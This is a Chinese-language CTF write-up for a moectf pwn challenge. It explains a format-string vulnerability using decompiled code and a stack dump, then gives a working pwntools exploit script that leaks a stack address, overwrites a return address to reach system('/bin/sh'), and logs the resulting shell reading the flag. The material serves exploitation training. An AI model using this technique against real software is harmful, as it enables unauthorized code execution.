本文为人工撰写,仅使用生成式AI校对。

题目链接

拖进IDA。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("You're walking down the road when a monster appear.");
  for ( i = 1; i <= 3 && !flag; ++i )
    talk();
  if ( (unsigned __int64)atk <= 0x1BF52 )
    puts("You've been eaten by the monster.");
  else
    he();
  return 0;
}
__int64 talk()
{
  puts("You start talking to him...");
  flag ^= 1u;
  read(0, fmt, 0x20uLL);
  printf(fmt);
  puts("?");
  puts("You enraged the monster-prepare for battle!");
  return my_read(&atk, 8LL);
}
size_t __fastcall my_read(_BYTE *a1, size_t a2)
{
  a1[read(0, a1, a2)] = 0;
  return strlen(a1);
}
unsigned __int64 he()
{
  char command[6]; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  qmemcpy(command, "a_flag", sizeof(command));
  puts("The monster is defeated, and you obtain: flag?");
  system(command);
  return v2 - __readfsqword(0x28u);
}

注意到my_read()会在读入8字节后将a1[8]置为0,也就是将flag置零,可以保证能够完成三次循环。

栈上没有指向talk()返回地址的指针,所以我们需要一个二级指针来修改一级指针后使用修改后的一级指针来修改返回地址。

其实也可以直接用一级指针来修改其指向为任意地址,但fmt修改过多字节会发送极其多的字符

00:0000│ rsp 0x7fffffffd5e0 —▸ 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/path/to/pwn_patched'
01:0008│-008 0x7fffffffd5e8 —▸ 0x40136f (main) ◂— endbr64
02:0010│ rbp 0x7fffffffd5f0 —▸ 0x7fffffffd610 ◂— 1
03:0018│+008 0x7fffffffd5f8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1		<---返回地址
04:0020│+010 0x7fffffffd600 ◂— 0
05:0028│+018 0x7fffffffd608 ◂— 0x100000000
06:0030│+020 0x7fffffffd610 ◂— 1
07:0038│+028 0x7fffffffd618 —▸ 0x7ffff7c29d90 ◂— mov edi, eax
08:0040│+030 0x7fffffffd620 ◂— 0
09:0048│+038 0x7fffffffd628 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7fffffffd630 ◂— 0x100000000
0b:0058│+048 0x7fffffffd638 —▸ 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/path/to/pwn_patched'	<---二级指针
0c:0060│+050 0x7fffffffd640 ◂— 0
0d:0068│+058 0x7fffffffd648 ◂— 0x90d493944c78dce8
0e:0070│+060 0x7fffffffd650 —▸ 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/path/to/pwn_patched'
0f:0078│+068 0x7fffffffd658 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7fffffffd660 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7fffffffd668 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
12:0090│+080 0x7fffffffd670 ◂— 0x6f2b6c6be03adce8
13:0098│+088 0x7fffffffd678 ◂— 0x6f2b7c1176f2dce8
14:00a0│+090 0x7fffffffd680 ◂— 0x7fff00000000
15:00a8│+098 0x7fffffffd688 ◂— 0
... ↓        3 skipped
19:00c8│+0b8 0x7fffffffd6a8 ◂— 0xa31676bfe7cb7100
1a:00d0│+0c0 0x7fffffffd6b0 ◂— 0
1b:00d8│+0c8 0x7fffffffd6b8 —▸ 0x7ffff7c29e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7fffffffd6c0 —▸ 0x7fffffffd738 —▸ 0x7fffffffda1e ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7fffffffd6c8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7fffffffd6d0 —▸ 0x7ffff7ffe2e0 ◂— 0
1f:00f8│+0e8 0x7fffffffd6d8 ◂— 0
20:0100│+0f0 0x7fffffffd6e0 ◂— 0
21:0108│+0f8 0x7fffffffd6e8 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7fffffffd6f0 —▸ 0x7fffffffd720 ◂— 1
23:0118│+108 0x7fffffffd6f8 ◂— 0
24:0120│+110 0x7fffffffd700 ◂— 0
25:0128│+118 0x7fffffffd708 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7fffffffd710 —▸ 0x7fffffffd718 ◂— 0x1c
27:0138│+128 0x7fffffffd718 ◂— 0x1c
28:0140│+130 0x7fffffffd720 ◂— 1
29:0148│ r12 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/home/qingkong/CTFtemp/pwn_patched'	<---二级指针指向的一级指针
2a:0150│+140 0x7fffffffd730 ◂— 0
2b:0158│+148 0x7fffffffd738 —▸ 0x7fffffffda1e ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7fffffffd740 —▸ 0x7fffffffda2e ◂— 'WSL2_GUI_APPS_ENABLED=1'
2d:0168│+158 0x7fffffffd748 —▸ 0x7fffffffda46 ◂— 'WSL_DISTRO_NAME=Ubuntu-24.04'

注意1: 我们不应该选择任何0x7fffffffd620也就是$rbp以前的栈地址,修改会在talk()退出后丢失。

注意2: 题目已提供了libc.so.6和ld-linux-x86-64.so.2,为了保证和远端的一致性,我们需要patch后再进行调试分析。

三次talk()一次泄露,一次利用二级指针修改一级指针,一次利用一级指针修改返回地址。

程序并没有开启PIE,我们直接写死跳转到system即可。

并且

; Attributes: bp-based frame

; size_t __fastcall my_read(_BYTE *, size_t)
public my_read
my_read proc near

nbytes= qword ptr -20h
buf= qword ptr -18h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 20h
mov     [rbp+buf], rdi
mov     [rbp+nbytes], rsi
mov     rdx, [rbp+nbytes] ; nbytes
mov     rax, [rbp+buf]
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
mov     [rbp+var_8], rax
mov     rdx, [rbp+buf]
mov     rax, [rbp+var_8]
add     rax, rdx
mov     byte ptr [rax], 0
mov     rax, [rbp+buf]
mov     rdi, rax        ; s
call    _strlen
leave
retn
; } // starts at 401297
my_read endp

my_read()最后会将buf赋值给$rdi。我们直接输入/bin/sh即可。

脚本:

from pwn import *
import ctypes
import shutil
import logging

pwndbg = shutil.which("pwndbg")
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1" ,18284)

io.recvuntil(b'him...')
io.send(b'%6$p')

io.recvuntil(b'0x')
p = io.recv(12)
print(p)
p = int(p, 16)
print(hex(p))

io.recvuntil(b'battle!')
io.send(b'12342234')

io.recvuntil(b'him...')
print(hex(p - 0x8 * 38))
print(hex((p - 0x8 * 38) & 0xffff))
io.send(f"%{int((p - 0x8 * 38) & 0xffff)}c%17$hn".encode())

io.recvuntil(b'battle!')
io.send(b'32344234')

systemAdd = 0x40127b
io.recvuntil(b'him...')
print(hex((systemAdd) & 0xffff))
io.send(f"%{int((systemAdd) & 0xffff)}c%47$hn".encode())

io.recvuntil(b'battle!')
io.send(b'/bin/sh\x00')


io.interactive()

输出:

[x] Opening connection to 127.0.0.1 on port 18284
[x] Opening connection to 127.0.0.1 on port 18284: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 18284: Done
[DEBUG] Received 0x50 bytes:
    b"You're walking down the road when a monster appear.\n"
    b'You start talking to him...\n'
[DEBUG] Sent 0x4 bytes:
    b'%6$p'
[DEBUG] Received 0xe bytes:
    b'0x7fff0897ce98'
b'7fff0897ce98'
0x7fff0897ce98
[DEBUG] Received 0x2e bytes:
    b'?\n'
    b'You enraged the monster-prepare for battle!\n'
[DEBUG] Sent 0x8 bytes:
    b'12342234'
[DEBUG] Received 0x1b bytes:
    b'You start talking to him...'
0x7fff0897cd68
0xcd68
[DEBUG] Sent 0xd bytes:
    b'%52584c%17$hn'
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received ...
[DEBUG] Received 0xd96 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000d60  20 20 20 20  20 20 20 c0  3f 0a 59 6f  75 20 65 6e  │    │   ·│?·Yo│u en│
    00000d70  72 61 67 65  64 20 74 68  65 20 6d 6f  6e 73 74 65  │rage│d th│e mo│nste│
    00000d80  72 2d 70 72  65 70 61 72  65 20 66 6f  72 20 62 61  │r-pr│epar│e fo│r ba│
    00000d90  74 74 6c 65  21 0a                                  │ttle│!·│
    00000d96
[DEBUG] Sent 0x8 bytes:
    b'32344234'
[DEBUG] Received 0x1c bytes:
    b'You start talking to him...\n'
0x127b
[DEBUG] Sent 0xc bytes:
    b'%4731c%47$hn'
[DEBUG] Received 0x1000 bytes:
    b' ' * 0x1000
[DEBUG] Received 0x27c bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000270  20 20 20 20  20 20 20 20  20 20 c0 6e               │    │    │  ·n│
    0000027c
[DEBUG] Received 0x2e bytes:
    b'?\n'
    b'You enraged the monster-prepare for battle!\n'
[DEBUG] Sent 0x8 bytes:
    00000000  2f 62 69 6e  2f 73 68 00                            │/bin│/sh·│
    00000008
[*] Switching to interactive mode

$ ls

[DEBUG] Sent ...
[DEBUG] Received ...

bin
flag
lib
lib32
lib64
libexec
libx32
pwn

$ cat flag 
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 18284